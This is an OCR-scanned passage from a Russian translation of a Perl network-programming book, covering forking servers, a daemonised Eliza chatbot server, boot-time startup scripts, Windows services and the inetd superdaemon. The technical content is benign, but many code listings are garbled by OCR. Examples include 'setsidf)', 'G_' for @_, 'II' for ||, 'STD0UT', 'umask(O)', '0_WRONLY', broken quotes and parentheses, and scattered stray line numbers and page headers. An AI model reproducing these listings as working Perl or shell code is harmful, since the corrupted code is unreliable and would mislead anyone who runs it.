24: close $fh;
25: while (!$guit) {
26: next unless my $connection = $listen_socket->accept;
27: die "Can't fork: $!"
unless defined (my $child = fork());
28: if ($child == 0) {
29: $listen_socket->close;
30: interact($connection);
31: exit 0;
32: }
33: $connection->close;
34: }
35: sub interact {
36: my $sock = shift;
37: STDIN->fdopen($sock, "<")
or die "Can't reopen STDIN: $!";
38: STDOUT->fdopen($sock, ">")
or die "Can't reopen STDOUT: $!";
Глава 10. Серверы с ветвлением и демон inetd
327
39: STDERR->fdopen($sock, ">")
or die "Can't reopen STDERR: $!";
40: $| = 1;
41: my $bot = Chatbot::Eliza->new;
42: $bot->command_interface;
43: }
44
45
46
47
48
49
50
51
52
53
54
55
64
65
66
67
sub become_daemon {
die "Can't fork" unless defined (my $child = fork);
exit 0 if $child; # Завершение родительского процесса
setsidf); # Преобразование в лидера сеанса
open(STDIN, "</dev/null");
open(STDOUT,">/dev/null");
open(STDERR,">&STD0UT");
chdir '/'; # Смена рабочего каталога
umask(O); . # Сброс маски режима создания файла
$ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin';
return $$;
}
56: sub open_pid_file (
57: my $file = shift;
58: if (-e $file) { # Ошибка. Файл pid уже существует
59: my $fh = IO::File->new($file} II return;
60: my $pid = <$fh>;
61: die "Server already running with PID $pid"
if kill 0 => $pid;
62: warn "Removing PID file for defunct server process
$pid.\n";
63: die "Can't unlink PID file $file"
unless -w $file && unlink $file;
}
return IO::File->new($file,0_WRONLY|0_CREAT|0_EXCL,0644)
or die "Can't create $file: $L\n";
}
68: sub Chatbot::Eliza::_testquit {
69: my ($self,$string) = G_;
70: return 1 unless defined $string; # Проверка признака EOF
71: foreach (@($self->{quit}})
{ return 1 if $string =~ /\b$_\b/i };
72: }
73: END { unlink PID FILE if $$ == $pid; }
Автоматический запуск сетевых
серверов
После того как сетевой сервер будет написан, проверен и отлажен, может
потребоваться обеспечить его автоматический запуск после каждой начальной
загрузки компьютера. В UNIX это относительно просто для тех, кто изучил особенности
этой операционной системы. Во время загрузки системы UNIX (и Linux)
выполняют ряд сценариев командного интерпретатора. Каждый сценарий командного ин-
328
Часть Ш. Разработка систем TCP типа клиент/сервер
терпретатора выполняет определенную работу по инициализации системы,
например проверяет файловые системы и квоты пользователей, монтирует удаленные
каталоги и запускает сетевые службы. Достаточно только найти подходящий
сценарий командного интерпретатора, добавить команду, необходимую для запуска
сервера на основе Perl, и все готово.
Единственная проблема состоит в том, что местонахождение и организация этих
сценариев командного интерпретатора в значительной степени зависят от версии
UNIX. Обычно применяется один из двух основных стилей организации этих
сценариев. В одном из них, который применяется в версиях BSD, принято использовать
ряд сценариев, начинающихся с символов гс, например reboot и re. single. Эти
файлы обычно расположены в каталоге /etc или /etc/rc. d. В таких системах, как
правило, имеется сценарий начальной загрузки, предназначенный для настройки
непосредственно на компьютере, который носит имя re.local. В подобной системе
для запуска сценария Perl во время начальной загрузки проще всего добавить
соответствующий раздел в последней части файла re. local, используя в качестве примера
другие разделы этого сценария.
Например, в системе типа BSD, используемой автором у себя дома, в конце
сценария re. local есть несколько разделов, которые выглядят примерно так:
# Запуск сервера службы времени
if [ -х /usr/sbin/xntpd ]; then
echo "Starting time server..."
/usr/sbin/xntpd
fi
Это — фрагмент, написанный на языке программирования сценариев командного
интерпретатора Bourne, который указывает, что если файл /usr/sbin/xntpd
существует и является выполняемым, то нужно выдать на консоль сообщение с помощью
команды echo и выполнить эту программу.
Для запуска сценария eliza_daemon.pl во время начальной загрузки можно
добавить в этот файл примерно такой раздел:
# Запуск психотерапевтического сервера
if [ -х /usr/local/bin/eliza_daemon.pl ]; then
echo "Starting psychotherapist server..."
/usr/local/bin/eliza_daemon.pi
fi
Здесь предполагается, что сценарий eliza_daemon.pl установлен в каталоге
/usr/local/bin. Прежде чем осуществить перезагрузку системы, следует
попытаться выполнить этот фрагмент сценария командного интерпретатора несколько раз
и убедиться в том, что он не содержит ошибок.
Иной стиль организации сценариев начальной загрузки, применяемый в системах
UNIX, происходит от семейства AT&T. В этом стиле сценарии запуска размещаются
по подкаталогам с именами типа rcO.d, rcl.d и т.д. В зависимости от конкретной
операционной системы, эти каталоги могут быть расположены под каталогами /etc,
/etc/red или /sbin. Каждый подкаталог носит имя, соответствующее режиму
работы; режим работы управляет уровнем обслуживания, предоставляемым системой.
Например, в режиме работы 1 (соответствующем каталогу rcl.d) система может
предоставлять только однопользовательский уровень обслуживания, блокируя все
сетевые запросы на регистрацию, а в режиме работы 3 (гсЗ. d) она может
предоставлять полный набор услуг регистрации по сети, совместный доступ к файлам и
множество других многопользовательских услуг.
Глава 10. Серверы с ветвлением и демон inetd
329
Вначале необходимо определить, в каком режиме работы обычно эксплуатируется
система. Это можно сделать, проверив в файле /etc/inittab запись initdef ault
или выполнив команду runlevel, если она предусмотрена в системе.
Следующий этап состоит в переходе в каталог re* .d, соответствующий данному
режиму работы. В этом каталоге находится ряд сценариев, имена которых
начинаются с буквы "S" или "К", например S15nf s. server или К201р. Сценарии, которые
начинаются с буквы "S", соответствуют службам, запускаемым при входе системы в этот
режим работы, а те, что начинаются с "К", обозначают службы, уничтожаемые
системой при выходе из этого режима работы. Например, в системах Solaris файл
S15nf s . server запускает службы совместного доступа к файлам NFS, а файл К201р
останавливает построчную печать. Номера в именах сценариев применяются для
управления порядком выполнения сценариев запуска, поскольку система сортирует
сценарии в алфавитном порядке перед их вызовом.
Эти сценарии чаще всего представляют собой символические ссылки на сценарии
командного интерпретатора общего назначения, которые могут запускать и
останавливать соответствующую службу. Настоящий сценарий находится в каталоге init. d,
путь доступа к которому может выглядеть как /etc/ init. d, /etc/rc. d /init. d или
/sbin/init.d. Если система начальной загрузки должна запустить или уничтожить
какую-то службу, она определяет по символической ссылке местонахождение
сценария, а затем вызывает сценарий с параметром ' s tart * или ' s top *.
В системах со сценариями начальной загрузки в стиле AT&T общий принцип, *
опять-таки, предусматривает определение того, как запускаются другие службы,
копирование и переименование одного из сценариев запуска, а затем корректировку его
для вызова своего сценария во время начальной загрузки.
Ниже приведен очень простой сценарий, который может применяться на многих
системах для запуска и останова психотерапевтического демона. Назовите его eliza,
сделайте выполняемым и сохраните в каталоге /etc/init. d (или в том каталоге, где
находятся подобные сценарии в вашей системе). Затем создайте ссылку на этот
сценарий в файле /etc/r3. d/S20eliza, опять-таки, указав правильное имя пути в
соответствии с устройством вашей операционной системы.
#! /bin/sh
# Сценарий запуска психотерапевтического сервера
case "$1" in
•start')
if [ -х /usr/local/bin/eliza_daemon.pl ]; then
echo -n "Starting psychotherapist: "
/usr/local/bin/eliza_daemon.pl
fi
/ r
■stop1)
if [ -e /var/tmp/eliza.pid ]; then
echo -n "Shutting down psychotherapist"
kill -TERM "cat /var/tmp/eliza.pid"
fi
Ш 9
*}
echo "usage: $0 (start|stop)
esac
Рекомендуем еще раз проверить сценарий из командной строки, прежде чем
окончательно внести его в каталог сценариев начальной загрузки.
330 Часть Ш. Разработка систем TCP типа клиент/сервер
Следует также учитывать, что сценарии начальной загрузки выполняются с
правами суперпользователя, поэтому вновь установленное сетевое приложение также будет
выполняться от имени привилегированного пользователя. Как правило, этого следует
избегать. В главе 14 описано, как в сценариях, запускаемых с правами
суперпользователя, отказаться от этих привилегий и перейти к их выполнению от имени обычного
пользователя. Иным образом, можно использовать для запуска сценария команду su
с правами обычного пользователя. В упомянутых выше двух сценариях командного
интерпретатора замените вызов /usr/local/bin/eliza_daemon.pl следующим:
su nobody -c /usr/local/bin/eliza_daemon.pl
В результате сервер будет запущен в учетной записи nobody.
В [73] приведено превосходное описание процесса начальной загрузки во многих
популярных системах UNIX.
Демон inetd, подробно описанный далее в разделе "Применение супердемона
inetd", предоставляет удобный способ автоматического запуска серверов,
применяемых только время от времени.
Работа в фоновом режиме в системах Windows
и Macintosh
Ни в системе Macintosh, ни Microsoft Windows не существует понятия, аналогичного
фоновым процессам системы UNIX. В настоящем разделе описано, как заставить
постоянно работающие сетевые приложения вести себя на этих платформах подобно демонам.
В системе Macintosh в настоящее время лучше всего обеспечить автоматический
запуск сетевого сценария во время начальной загрузки, поместив файл сценария Perl
в подпапку Startup Items папки System. Во время начальной загрузки будет запущено
приложение MacPerl, которое выполнит сценарий. Однако, как только приложение
MacPerl будет закрыто, сервер прекратит свою работу наряду со всеми другими
выполняемыми сценариями Perl.
Можно также придать этому серверу вид работающего в фоновом режиме,
запустив в сценарии модуль Мае: : Apps : : Launch и немедленно вызвав функцию сокрытия
Hide (), в которой в качестве имени скрываемого приложения будет указано
"MacPerl". Описанную общую схему иллюстрирует следующий фрагмент кода:
use Mac::Apps::Launch;
Hide(MacPerl => 1) or warn $ЛЕ;
(В дистрибутиве MacPerl глобальная переменная $ЛЕ возвращает информацию об
ошибках, которая относится к системе Macintosh.) Чтобы приложение снова стало
видимым, можно запустить программу MacPerl, после чего приложение будет
переведено на передний план.
В системе Microsoft Windows предусмотрен более универсальный метод
превращения приложений в фоновые демоны с использованием применяемой в ней
системы так называемых "служб". Службы применяются только в системах Windows NT
и 2000. Для этого требуются две утилиты: instsrv.exe и srvany.exe, которые не
входят в состав стандартных дистрибутивов Windows NT/2000, но представляют
собой расширения, предусмотренные в комплектах ресурсов Windows NT/2000 Resource
Kit. Процесс установки службы состоит из двух этапов. На первом этапе применяется
утилита instsrv.exe для определения имени новой службы. На втором этапе с
помощью редактора системного реестра необходимо связать вновь определенную
службу с именем и параметрами командной строки сценария Perl.
Глава 10. Серверы с ветвлением и демон inetd
331
Ниже описан первый этап, на котором нужно определить новую службу с
помощью утилиты instsrv.ехе. В окне сеанса MS DOS введите следующее:
% C.-\irJtit\instsrv.exe PSYCHOTHERAPIST C:\irJtit\srvany.exe
Укажите вместо C:\rkit действительный путь к файлам instsrv.exe
и srvany.exe, а вместо PSYCHOTHERAPIST' — имя, по которому вы хотите
обращаться к этой сетевой службе. Следующий этап состоит в редактировании
системного реестра с помощью соответствующего редактора. Как обычно, прежде
чем приступить к этому процессу, вспомните, какие перед этим произносят
предупреждения и заклинания. Запустите программу regedt32.exe и найдите
следующий ключ:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PSYCHOTHERAPIST
Измените его в соответствии с именем службы, выбранным ранее. Теперь
необходимо добавить ключ Parameters и два подключа Application и AppParameters.
Ключ Application содержит путь к выполняемой программе Perl, а ключ
AppParameters указывает параметры, передаваемые интерпретатору Perl, в том
числе имя сценария и все его параметры.
Щелкните на пиктограмме ключа PSYCHOTHERAPIST и выберите команду Add Key
меню Edit. Получив соответствующее приглашение, введите имя ключа Parameters
и оставьте поле с именем класса пустым. Теперь выберите вновь созданный ключ
Parameters и вызовите команду Add Value меню Edit. Получив соответствующее
приглашение, введите имя значения Application, укажите тип данных REG_SZ
(строка с нулевым символом в конце) и введите строку, содержащую полный путь
к выполняемой программе Perl, например С: \Perl\bin\perl5. б. О.ехе.
Еще раз выберите ключ Parameters и вызовите команду Add Value. На этот раз
введите имя значения AppParameters, укажите тип данных REG_SZ и введите
значение, содержащее полный путь к сценарию, и все параметры, которые должны быть
ему переданы, напримерС: \scripts\eliza_server .рГ.
Закройте редактор системного реестра. Теперь вы должны получить возможность
перейти на панель управления Services и настроить службу на автоматический запуск
во время начальной загрузки системы. В списке служб NT/2000 выберите
психотерапевтический сервер и щелкните на кнопке Startup. Получив соответствующее
приглашение, измените тип запуска на Automatic и укажите в поле LogOnAs имя
пользователя, под которым должен работать сервер. Обычно используют имя "System
Account". Кроме того, снимите отметку с "Allow service to interact with users".
Панель управления Services позволяет запускать и останавливать сервер вручную.
При желании для этого можно использовать команды DOS NET START
PSYCHOTHERAPIST и NET STOP PSYCHOTHERAPIST.
Применение супердемона inetd
Вернемся к листингу 10.2 и снова рассмотрим подпрограмму interact ():
sub interact {
my $sock = shift;
STDIN->fdopen($sock,"<") or die "Can't reopen STDIN: $!";
3 He используйте версию сервера, которая автоматически переходит в фоновый режим и отделяется от
группы сеанса, поскольку это может применяться только в системе UNIX. Используйте сервер с ветвлением,
приведенный в листинге 10.3, с подпрограммой interact (), откорректированной для систем Windows.
332
Часть Ш. Разработка систем TCP типа клиент/сервер
STDOUT->fdopen($sock,">") or die "Can't reopen STDOUT: $!";
STDERR->fdopen($sock,">") or die "Can't reopen STDERR: $!";
$1=1;
my $bot = Chatbot::Eliza->new;
$bot->command_interface() ;
}
В этом психотерапевтическом демоне используется достаточно универсальный
подход к обработке входящих соединений и ветвлению. В действительности,
подпрограмма interact () — это единственное место, в котором находится код,
относящийся к конкретному приложению.
А теперь рассмотрим следующую версию подпрограммы interact ():
sub interact {
my $sock = shift;
STDIN->fdopen($sock," or die "Can't reopen STDIN: $!";
STDOUT->fdopen($sock, or die "Can't reopen STDOUT: $!"
STDERR->fdopen($sock, or die "Can't reopen STDERR: $!"
exec "eliza.pl";
}
После переоткрытия устройств STDIN, STDOUT и STDERR в сокет просто
выполняется с помощью функции exec () первоначальный сценарий командной строки
eliza. pi, приведенный в листинге 10.1. При условии, что этот сценарий находится
в пути доступа командного интерпретатора, интерпретатор Perl запустит его и
заменит текущий процесс новым. Будет выполняться версия сценария eliza .pi с
интерфейсом командной строки, которая предусматривает чтение данных, введенных
пользователем, с устройства STDIN и отправку ответов психотерапевта на устройство
STDOUT. Однако устройства STDIN, STDOUT и STDERR унаследованы от родительского
процесса, поэтому программа будет фактически считывать из сокета и записывать
в него. Мы превратили программу с интерфейсом командной строки в серверное
приложение, не изменив ни одной строки исходного кода!
В действительности, можно сделать подпрограмму interact () еще более
универсальной, предусмотрев для нее параметры, которые содержат имя и параметры
командной строки выполняемой команды.
sub interact {
my ($sock,Gcommand) = G_;
STDIN->fdopen($sock,"<") or die "Can't reopen STDIN: $!";
STDOUT->fdopen($sock,">" or die "Can't reopen STDOUT: $!";
STDERR->fdopen($sock,">" or die "Can't reopen STDERR: $!";
exec Gcommand;
}
Теперь в качестве сервера можно применять любую программу, которая читает
с устройства STDIN и пишет на устройство STDOUT. Например, в системах UNIX для
создания простого эхо-сервера достаточно передать подпрограмме interact () в
качестве параметра путь к программе /bin/cat. Поскольку команда cat считывает
данные с устройства STDIN и записывает их без изменений на устройство STDOUT, она
будет отправлять другому участнику соединения все, что считано из сокета.
Этот простой способ создания сетевых серверов не остался незамеченным
проектировщиками операционной системы. В системах UNIX (и Linux) есть стандартный
демон inetd, который представляет собой немного доработанную и настраиваемую
версию этого универсального сервера, позволяющую запускать и эксплуатировать ряд
сетевых служб по требованию.
Глава 10. Серверы с ветвлением и демон inetd
333
Демон inetd запускается во время начальной загрузки. Он считывает файл
конфигурации /etc/inetd. conf, который, по сути, представляет собой список
контролируемых портов и программ, связанных с каждым портом. При поступлении запроса
на соединение в любой из контролируемых портов демон inetd вызывает функцию
accept () для получения нового подключенного сокета, выполняет ветвление,
перенаправляет три стандартных дескриптора файлов в сокет и, наконец, запускает
соответствующую программу.
Преимуществом этой системы является то, что вместо запуска (вручную или во
время начальной загрузки) десятков служб, применяемых лишь время от времени,
inetd запускает их только по мере необходимости. Еще одной особенностью демона
inetd является то, что его конфигурацию можно изменять динамически, направляя
ему сигнал HUP. При получении такого сигнала он повторно считывает свой файл
конфигурации и изменяет настройку, если в этом есть необходимость. Это позволяет
вводить новые службы без перезагрузки компьютера.
К сожалению, демон inetd не является стандартным средством в системах Win32
или Macintosh. Для системы Windows можно получить программное обеспечение,
действующее аналогично демону inetd, по адресам, перечисленным ниже.
■ Инструментальные средства Cygnus для Win32
ftp://до.cygnus.com/pub/ftp.cygnus.com/gnu-win32
http://www.cygnus.com/misc/gnu-win32/
■ Реализация демона inetd компании Ockham Technology для Windows NT
(коммерческий продукт)
http://www.ockham.be/inetd.html
Много лет назад автор использовал программное обеспечение для компьютера
Macintosh, аналогичное inetd, в котором для моделирования работы настоящего
демона inetd применялась система Apple Events, но он уже давно не встречает в Web
ничего подобного.
Применение демона inetd
С помощью inetd можно превратить психотерапевтическую программу с
интерфейсом командной строки (листинг 10.1) в сервер, не изменив ни одной строки кода.
Для этого достаточно ввести следующую строку в конце файла конфигурации
/etc/inetd.conf:
12000 stream tcp nowait nobody /usr/local/bin/eliza.pl eliza.pl
Для редактирования этого файла необходимо иметь права суперпользователя.
Если в системе нет учетной записи nobody, укажите вместо нее свое регистрационное
имя (или имя любого другого непривилегированного пользователя). Исправьте путь
к сценарию eliza.pl, указав в нем фактическое местонахождение этого сценария
(автор рекомендует использовать версию сценария, которая включает
откорректированную версию метода _testquit (), описанную ранее). После редактирования
файла конфигурации перезапустите демон inetd, послав ему сигнал HUP. Это можно
выполнить, найдя его идентификатор процесса (PID) с помощью команды ps и
воспользовавшись командой kill для отправки сигнала.
% ps aux | grep inetd
root 657 0.0 0.8 1220 552 ? S 07:07 0:00 inetd
lstein 914 0.0 0.5 948 352 pts/1 S 08:07 0:00 grep inetd
% kill -HUP 657
334 Часть Ш. Разработка систем TCP типа клиент/сервер
Во многих системах Linux могут применяться следующие сокращения:
% kill -HUP 'cat /var/run/inetd.pid'
% killall -HUP inetd
Теперь для беседы с психотерапевтическим сервером можно использовать
стандартную программу telnet или клиент gab3. pi, описанные ранее в этой главе.
Рассмотрим приведенную выше запись inetd. conf более подробно. Она состоит
из семи или более полей, разграниченных пробельными символами (символами
табуляции или пробелами).
■ 12000. Это— имя службы или номер порта, через который сервер будет
принимать входящие запросы на установление соединения. Обязательно
проверьте, не используется ли в системе определенный порт, прежде чем его занять
(для этой цели может применяться программа netstat).
Некоторые версии inetd требуют использовать в этом поле символическое
имя службы, такое как eliza, а не номер порта типа 12000. В подобных
системах необходимо отредактировать файл /etc/services вручную, добавить имя
службы и выбранный номер порта, а затем указать символическое имя службы
в файле inetd. conf. Подходящая строка в файле /etc/services для
психотерапевтического демона может иметь вид:
eliza 12000/tcp
После этого в первом поле записи inetd. conf вместо номера порта следует
ввести слово eliza.
■ stream. Это поле указывает тип сервера и может содержать значение stream для
обозначения служб с установлением логического соединения, которые
отправляют и принимают данные в виде непрерывного потока данных, или dgr am—для
обозначения служб, которые отправляют и принимают сообщения без
установления логического соединения. Любая программа, которая считывает с
устройства STDIN и записывает на устройство STD0UT, представляет собой службу,
основанную на потоковом вводе и выводе, поэтому здесь указано слово stream.
■ tcp. Это поле определяет протокол связи и может иметь значение TCP или udp
(во многих системах поддерживаются также менее широко распространенные
протоколы, но они здесь не рассматриваются). В службах с потоковой
передачей данных применяется TCP.
■ nowait. Это поле сообщает демон)' inetd, что он должен делать после запуска
серверной программы. Оно может иметь значение wait, которое служит
указанием демон)' inetd, чтобы он подождал завершения работы сервера перед
повторным запуском этой программы для обработки нового входящего
соединения, или nowait, что позволяет демон)' inetd запускать программу
многократно для обработки сразу нескольких входящих соединений. Для потоковых
служб чаще всего применяется значение nowait, позволяющее демон)' inetd
действовать как сервер с ветвлением. Если одновременно подключается
несколько клиентов, демон inetd запускает для каждого из них отдельную копию
программы. Некоторые версии inetd позволяют устанавливать предельное
значение числа одновременно работающих процессов.
■ nobody. Это — имя пользователя, с правами которого будет работать сервер.
■ /usr/local/bin/eliza.pl. Это — полный путь к программе.
Глава 10. Серверы с ветвлением и демон inetd
335
■ eliza.pi. Седьмое и следующие поля представляют собой параметры
командной строки, передаваемые сценарию. Они могут указывать любое число опций
и параметров командной строки, разделенных пробелами. В соответствии
с общепринятым соглашением, первым параметром является имя самой
программы. В качестве него можно использовать действительное имя сценария,
как показано здесь, или придумать другое. Это значение появится в сценарии
в виде переменной $0. Другие параметры командной строки, как обычно, будут
находиться в массиве EARGV.
При работе с программами, запускаемыми демоном inetd, в основном следует
учитывать то, что буферизация библиотеки stdio может вызвать непредсказуемое
течение потока данных. Например, вступительное приветствие психотерапевта
может не появиться до тех пор, пока программа не выведет несколько последующих
строк текста. Эту проблему можно решить, включив режим автоматического сброса,
как было сделано в листинге 10.1.
Применение демона inetd в режиме wait
Использование демона inetd в режиме nowait не является столь же эффективным,
как и при создании собственного сервера с ветвлением. Это связано с тем, что демон
inetd должен запускать программу при каждом своем ветвлении, а для интерпретатора
Perl требуется одна-две секунды, чтобы он запустился, вьтолнил синтаксический анализ
сценария, загрузил и оттранслировал все необходимые модули. В отличие от этого,
сервер с ветвлением уже прошел этапы синтаксического анализа и трансляции, поэтому
издержки ветвления для обработки нового соединения гораздо менее значительны.
Для достижения компромисса между удобством и производительностью можно
использовать демон inetd в режиме wait. В этом режиме он запускает сервер при
поступлении первого входящего соединения, а затем ожидает завершения его
работы. Этот сервер для обработки новых соединений выполняет то же, что и обычный
сервер, включая ветвление. Единственное различие состоит в том, что сервер сам не
создает приемный сокет, а наследует его от сокета, созданного демоном inetd.
Поскольку демон inetd дублирует сокет, отображая его на три стандартных
дескриптора файлов, сокет можно восстановить из любого из этих устройств, но обычно для
этого используется STDIN.
Таким образом, демон inetd освобождает пользователя от обязанности запускать
сервер вручную, и, в то же время, его применение не приводит к снижению
производительности. Кроме того, он позволяет разработать сервер, который завершает свою
работу при определенных обстоятельствах, например после простоя в течение
заданного периода времени или после обслуживания установленного числа
соединений. После завершения работы сервера демон inetd запустит его снова, когда он
потребуется. Это значит, что не нужно заставлять постоянно работать сервер, который
применяется только время от времени.
Новая версия психотерапевтического сервера, предназначенного для запуска
с помощью демона inetd в режиме wait, приведена в листинге 10.7.
Соответствующая запись в файле /etc/inetd.conf почти полностью совпадает с
первоначальной, за исключением того, что в четвертом поле указана опция wait, а в шестом
приведено другое имя сценария:
12000 stream tcp wait nobody /usr/local/bin/eliza_inetd.pl \
eliza_inetd.pl
336
Часть Ш. Разработка систем TCP типа клиент/сервер
Этот сервер не только наследует приемный сокет от демона inetd, но и
отличается от предыдущих версий тем, что предусматривает минутный тайм-аут при вызове
функции accept (). Если в течение этого тайм-аута не поступит ни одного нового
соединения, родительский процесс завершится и демон inetd повторно запустит
сервер, когда он снова потребуется. Изменения, которые пришлось внести в основной
сервер с ветвлением, оказались незначительными.
Листинг 10.7. Психотерапевтический сервер, запускаемый демоном inetd
: режиме wait
0: #!/usr/local/bin/perl -w
1: # Файл: eliza inetd.pl
10
11
12
13
15
16
17
18
19
20
21
23
24
25
26
27
28
29
use strict;
use Chatbot::Eliza;
use Ю: : Socket;
use POSIX 'WNOHANG';
6: use constant TIMEOUT => 1; # 1 минута
7: my $timeout = shift II TIMEOUT;
8: # Обработчик сигналов, связанных с уничтожением дочерних
# процессов
9: $SIG{CHLD} = sub ( while ( waitpid(-l,WNOHANG)>0 ) { } };
# Получение сокета из дескриптора STDIN
die "STDIN is not a socket" unless -S STDIN;
my $listen_socket = IO::Socket->new_from_fd(\*STDIN,"+<")
or die "Can't create socket: $!";
14: while (1) {
my $connection = eval {
local $SIG(ALRM} = sub { die "timeout" };
alarm ($timeout * 60) ;
return $listen_socket->accept;
};
alarm(O);
exit 0 unless $connection;
22: die "Can't fork: $!"
unless defined (my $child = fork());
if ($child == 0) {
$listen_socket->close;
interact($connection);
exit 0;
}
$connection->close;
}
30: sub interact {
31: my $sock = shift;
32: STDIN->fdopen($sock, "<")
or die "Can't reopen STDIN: $!'
33: STDOUT->fdopen($sock, ">")
Глава 10. Серверы с ветвлением и демон inetd
337
or die "Can't reopen STDOUT: $!"; I
34 : STDERR->fdopen ($sock, ">")
or die "Can't reopen STDERR: $!";
35: STDOUT->autoflush(1) ;
36: my $bot = Chatbot::Eliza->new;
37: $bot->command_interface;
38: }
39: sub Chatbot::Eliza::_testquit {
40: my ($self, $string) = G_;
41: return 1 unless defined $string; # Проверка признака EOF
42: foreach (@{$self->{quit)})
{ return 1 if $string =~ /\b$_\b/i };
43: }
Проведем анализ программы.
• Строки 1-7. Определение значений тайм-аута. Значение тайм-аута берется из командной
строки или устанавливается по умолчанию равным одной минуте, если соответствующий
параметр не задан. Обратите внимание, что номер порта больше не считывается из командной
строки, поскольку значение этого параметра неявно передается демоном inetd.
• Строки 10-13. Восстановление дескриптора приемного сокета. Значение дескриптора
приемного сокета восстанавливается из дескриптора etdim. Вначале происходит проверка,
действительно ли этот сценарий выполняется под управлением inetd, путем определения того, что
дескриптор stdin является сокетом, с использованием опции файловой проверки -s. Если
дескриптор stdin проходит эту проверку, он снова преобразуется в объект Ю:: socket путем
вызова метода new_frcm_fd() модуля Ю:: Socket. Этот метод, унаследованный от модуля
ю: .-Handle, аналогичен методу fdopent), за исключением того, что, вместо переоткрытия
существующего дескриптора на базе указанного дескриптора файла, он создает новый дескриптор,
который является копией старого. В этом случае создается новый объект ю::Socket, который
является копией дескриптора stdin, открытого для чтения и записи в режиме "+<".
• Строки 15-21. Вызов функции accept О с указанием тайм-аута. Теперь программа входит
в стандартный цикл accept (), который отличается лишь тем, что вызов функции accept ()
заключен в блок eval {}. В блоке eval создается локальный обработчик сигнала ALRM,
который вызывает функцию die (), и используется функция alarm () для установки таймера,
который сработает по истечении числа минут, указанных параметром $ timeout. Затем
вызывается метод accept () приемного сокета. Если входящее соединение будет получено до
истечения тайм-аута, то в результате выполнения блока eval {} будет создан подключенный
сокет. В ином случае будет вызван обработчик сигнала alrm и выполнение блока eval {)
закончится аварийно, с возвратом неопределенного значения. В последнем случае вызывается
функция exit () и работа всего сервера прекращается. В ином случае вызывается функция
alarm (о) для отмены тайм-аута.
• Строки 22-43. Остальная часть сценария сервера остается неизменной. Включена также
доработанная подпрограмма chatbot: :Eliza: :_testquit О, которая позволяет избежать
проблем, возникающих при неожиданном закрытии соединения пользователем.
Впервые разрабатывая эту программу, автор предполагал, что можно просто
использовать встроенный механизм тайм-аута модуля 10: :Socket, а не
разрабатывать собственную процедуру выхода по тайм-ауту на основе сигнала ALRM. Однако
при этом возникла следующая проблема. При активизации встроенного механизма
тайм-аута функция accept () возвращает значение uncle f и при возникновении
законного тайм-аута, и при ее прерывании сигналом CHLD, которым сопровождается
завершение каждого дочернего процесса. После некоторых проб и ошибок автор
решил, что нет простого способа различить эти два события, и применил метод,
приведенный выше.
338 Часть III. Разработка систем TCP типа клиент/сервер
Демон inetd может также применяться для запуска приложений UDP. В этом
случае после запуска программа обнаруживает, что дескриптор STDIN уже открыт в
соответствующий сокет UDP и поэтому может использовать методы recv () и send ()
для связи через сокет обычным образом. Дополнительные сведения приведены в
главах 18 и 19.
Резюме
В серверах с установлением логического соединения для обслуживания сразу
нескольких клиентов необходимо обеспечить одновременное выполнение всех
связанных с этим операций ввода-вывода. Параллельное выполнение операций ввода-
вывода может также применяться в клиентских программах для предотвращения
взаимоблокировки.
В настоящей главе представлен наиболее часто применяемый метод обеспечения
параллельной работы: одновременное выполнение нескольких одинаковых
процессов, созданных путем ветвления. Обычно мультипроцессные программы проще всего
в использовании, но для их нормальной работы необходимо соблюдать несколько
требований; наиболее важным требованием является выполнение функции wait ()
для удаления из системных таблиц информации о завершенных дочерних процессах.
В производственных серверах обычно также применяется отключение от
управляющего терминала и автоматический переход в фоновый режим. В настоящей главе
описана предназначенная для этой цели подпрограмма become_daemon ().
В системах UNIX применение супердемона inetd предоставляет собой простой
способ преобразования обычных приложений с интерфейсом командной строки
в мультипроцессные серверы. Использование демона inetd может также служить
удобным способом запуска стандартного мультипроцессного сервера по мере
необходимости, что позволяет избежать необходимости запускать сервер вручную.
В следующих главах рассматриваются другие методы одновременного
обслуживания сразу нескольких соединений. Вначале будет описана многопоточная обработка,
а затем — мультиплексирование.
Глава 10. Серверы с ветвлением и демон inetd
339
Глава
Многопоточные
приложения
В настоящей главе рассматривается разработка сетевых приложений с
использованием упрощенного API-интерфейса потоков языка Perl. Потоки предоставляют
возможность использовать намного более простую структуру программы по
сравнению с мультипроцессной обработкой.
Основные сведения о потоках
Многопоточная обработка в значительной степени отличается от
мультипроцессной. Вместо использования двух или более процессов, обладающих собственным
пространством памяти, обработчиками сигналов и глобальными переменными,
многопоточные программы выполняются в виде единственного процесса, в котором работает
несколько так называемых "потоков выполнения". Каждый поток работает
независимо от другого; он может выполнять цикл или операции ввода-вывода без учета того,
что есть и другие работающие потоки. Однако все потоки совместно используют
глобальные переменные, дескрипторы файлов, обработчики сигналов и другие ресурсы.
Совместное использование ресурсов обеспечивает более тесное взаимодействие
потоков по сравнению с отдельными процессами, создаваемыми с помощью функции
f or k (), и в то же время приводит к конкуренции за ресурсы. Например, если два
потока одновременно пытаются изменить значение какой-либо переменной, результат
может оказаться непредсказуемым. По этой причине в многопоточных программах
возникает задача блокировки и управления ресурсами. Многопоточное
программирование, с одной стороны, в определенной степени упрощает разработку программ,
а с другой стороны, усложняет процесс разработки.
Модуль Thread был введен в версии Perl 5.005. Для его использования нужна
операционная система, которая поддерживает потоки (к таким операционным системам
относится большинство версий UNIX и Microsoft Windows), а интерпретатор Perl
должен быть оттранслирован с разрешенными средствами поддержки
многопоточной обработки. В версии Perl 5.005 это можно сделать, выполнив инсталляционную
программу Configure с опцией -Dusethreads. В версии Perl 5.6.0 и в последующих
версиях эта опция принимает значение -Duse5005threads. Ни одна заранее
оттранслированная программа Perl не поступает пользователю с активизированной
поддержкой многопоточности.
340 Часть III. Разработка систем TCP типа клиент/сервер
т
Экспериментальный характер средств поддержки
многопоточности
Средства поддержки многопоточности Perl являются экспериментальными.
В реализации потоков в версии 5.005 есть известные ошибки, которые могут приводить
к загадочным сбоям, особенно при использовании на многопроцессорных
компьютерах. Не все модули Perl обеспечивают безопасную поддержку потоков; это значит, что
использование этих модулей в многопоточной программе может привести к авариям
и/или неправильным результатам, и в этих условиях даже работа некоторых основных
средств Perl находится под вопросом. Несмотря на то что реализация потоков в версии
Perl 5.6 и последующих версиях улучшена, в этой системе еще не устранены некоторые
фундаментальные дефекты проекта. Фактически в документации с описанием
поддержки потоков интерпретатором Perl содержится предупреждение, что многопоточная
обработка не должна использоваться в производственных системах.
Разработчики Perl реализуют принципиально новый проект поддержки
многопоточности на основе так называемых потоков интерпретатора (ithreads — сокращение от
